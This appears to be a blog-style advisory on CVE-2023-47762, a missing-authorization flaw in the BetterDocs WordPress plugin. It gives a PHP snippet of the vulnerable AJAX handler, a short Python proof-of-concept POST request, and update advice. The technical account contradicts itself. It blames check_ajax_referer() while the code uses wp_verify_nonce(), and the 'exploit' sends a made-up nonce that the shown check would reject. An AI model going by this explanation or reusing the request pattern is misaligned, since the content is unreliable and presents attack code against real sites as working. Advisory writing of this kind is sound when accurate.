CVE-2023-47762 - Exploring the Missing Authorization Vulnerability in WPDeveloper BetterDocs that Allows Exploiting Incorrectly Configured Access Control Security Levels

The CVE-2023-47762 vulnerability sheds light on a security flaw found in the WPDeveloper BetterDocs plugin, widely used to create and manage online documentation on WordPress websites. The vulnerability allows malicious users to exploit the plugin's incorrectly configured access control security levels to gain unauthorized access to sensitive information. This post will provide a detailed explanation of the vulnerability, share a code snippet to demonstrate how the exploit works, link you to the original references and advisories, and outline steps to mitigate this security risk.

Detail

The CWE-285 (Improper Authorization) vulnerability in WPDeveloper's BetterDocs plugin affects all versions prior to 2.5.3 (n/a through 2.5.2) and has been assigned a Base Score of 5.3 (Medium) by the Common Vulnerability Scoring System v3.1. This flaw allows unauthorized users to access sensitive information without proper authentication, resulting in potential data leaks, loss of business-critical information, and reputation damage for businesses using BetterDocs to manage their documentation.

Exploit Details

The cause of this vulnerability is the plugin's improper use of 'check_ajax_referer()' WordPress function, which was designed to protect against CSFR attacks. The affected AJAX action should have been protected by 'current_user_can()' function. The following code snippet illustrates the missing authorization vulnerability in BetterDocs:

add_action( 'wp_ajax_betterdocs_save_analytics_data', 'betterdocs_save_analytics_data' );

function betterdocs_save_analytics_data() {
    // Check for nonce security
    $nonce = sanitize_text_field( $_POST['nonce'] );
    if ( ! wp_verify_nonce( $nonce, 'betterdocs_analytics_action_nonce' ) ) {
        return;
    }
    // ... following operations with admin privileges
}

The following exploit demonstrates how an attacker can make a simple POST request to the vulnerable PHP file and execute operations with administrative privileges in the 'betterdocs_save_analytics_data()' function due to insufficient access control checks:

import requests

url = "https://example.com/wp-admin/admin-ajax.php";
data = {
    "action": "betterdocs_save_analytics_data",
    "nonce": "malicious_nonce",  # Attacker sends own made-up nonce
    "sensitive_data": "malicious_value",
}

response = requests.post(url, data=data)

Mitigation

In order to mitigate this vulnerability, users of the BetterDocs plugin are advised to update to the latest version (2.5.3 or later) that includes the appropriate access control check provided by the WPDeveloper in their security release Changelog. Additionally, implementing role-based access control (RBAC) and regularly auditing user accounts and permissions is recommended to minimize security risks associated with unauthorized access.

Conclusion

The CVE-2023-47762 vulnerability highlights the importance of maintaining proper access control checks in web applications, especially when security is paramount, such as managing sensitive documentation. Regularly updating plugins installed on your WordPress site, auditing user roles and permissions, and monitoring for security advisories will help prevent unauthorized access, safeguarding your valuable information assets.

Further Reading and References

- CVE-2023-47762 vulnerability report
- WPDeveloper BetterDocs WordPress Plugin
- BetterDocs Changelog

Timeline

Published on: 12/09/2024 13:15:30 UTC